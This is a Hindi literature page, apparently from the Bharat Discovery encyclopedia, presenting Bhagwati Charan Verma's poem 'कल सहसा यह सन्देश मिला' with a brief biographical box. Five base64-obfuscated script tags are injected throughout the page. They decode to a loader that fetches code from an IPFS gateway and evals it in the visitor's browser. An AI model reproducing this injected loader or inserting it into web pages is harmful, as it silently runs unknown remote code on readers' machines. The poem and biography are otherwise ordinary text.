कल सहसा यह सन्देश मिला -भगवतीचरण वर्मा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कल सहसा यह सन्देश मिला -भगवतीचरण वर्मा
भगवतीचरण वर्मा
कवि भगवतीचरण वर्मा
जन्म 30 अगस्त, 1903
जन्म स्थान उन्नाव ज़िला, उत्तर प्रदेश
मृत्यु 5 अक्टूबर, 1981
मुख्य रचनाएँ चित्रलेखा, भूले बिसरे चित्र, सीधे सच्ची बातें, सबहि नचावत राम गुसाई, अज्ञात देश से आना, आज मानव का सुनहला प्रात है, मेरी कविताएँ, मेरी कहानियाँ आदि
इन्हें भी देखें कवि सूची, साहित्यकार सूची
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
भगवतीचरण वर्मा की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कल सहसा यह सन्देश मिला
सूने-से युग के बाद मुझे
कुछ रोकर, कुछ क्रोधित हो कर
तुम कर लेती हो याद मुझे ।

गिरने की गति में मिलकर
गतिमय होकर गतिहीन हुआ
एकाकीपन से आया था
अब सूनेपन में लीन हुआ ।

यह ममता का वरदान सुमुखि
है अब केवल अपवाद मुझे
मैं तो अपने को भूल रहा,
तुम कर लेती हो याद मुझे ।

पुलकित सपनों का क्रय करने
मैं आया अपने प्राणों से
लेकर अपनी कोमलताओं को
मैं टकराया पाषाणों से ।

मिट-मिटकर मैंने देखा है
मिट जानेवाला प्यार यहाँ
सुकुमार भावना को अपनी
बन जाते देखा भार यहाँ ।

उत्तप्त मरूस्थल बना चुका
विस्मृति का विषम विषाद मुझे
किस आशा से छवि की प्रतिमा !
तुम कर लेती हो याद मुझे ?

हँस-हँसकर कब से मसल रहा
हूँ मैं अपने विश्वासों को
पागल बनकर मैं फेंक रहा
हूँ कब से उलटे पाँसों को ।

पशुता से तिल-तिल हार रहा
हूँ मानवता का दाँव अरे
निर्दय व्यंगों में बदल रहे
मेरे ये पल अनुराग-भरे ।

बन गया एक अस्तित्व अमिट
मिट जाने का अवसाद मुझे
फिर किस अभिलाषा से रूपसि !
तुम कर लेती हो याद मुझे ?

यह अपना-अपना भाग्य, मिला
अभिशाप मुझे, वरदान तुम्हें
जग की लघुता का ज्ञान मुझे,
अपनी गुरुता का ज्ञान तुम्हें ।

जिस विधि ने था संयोग रचा,
उसने ही रचा वियोग प्रिये
मुझको रोने का रोग मिला,
तुमको हँसने का भोग प्रिये ।

सुख की तन्मयता तुम्हें मिली,
पीड़ा का मिला प्रमाद मुझे
फिर एक कसक बनकर अब क्यों
तुम कर लेती हो याद मुझे ?

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>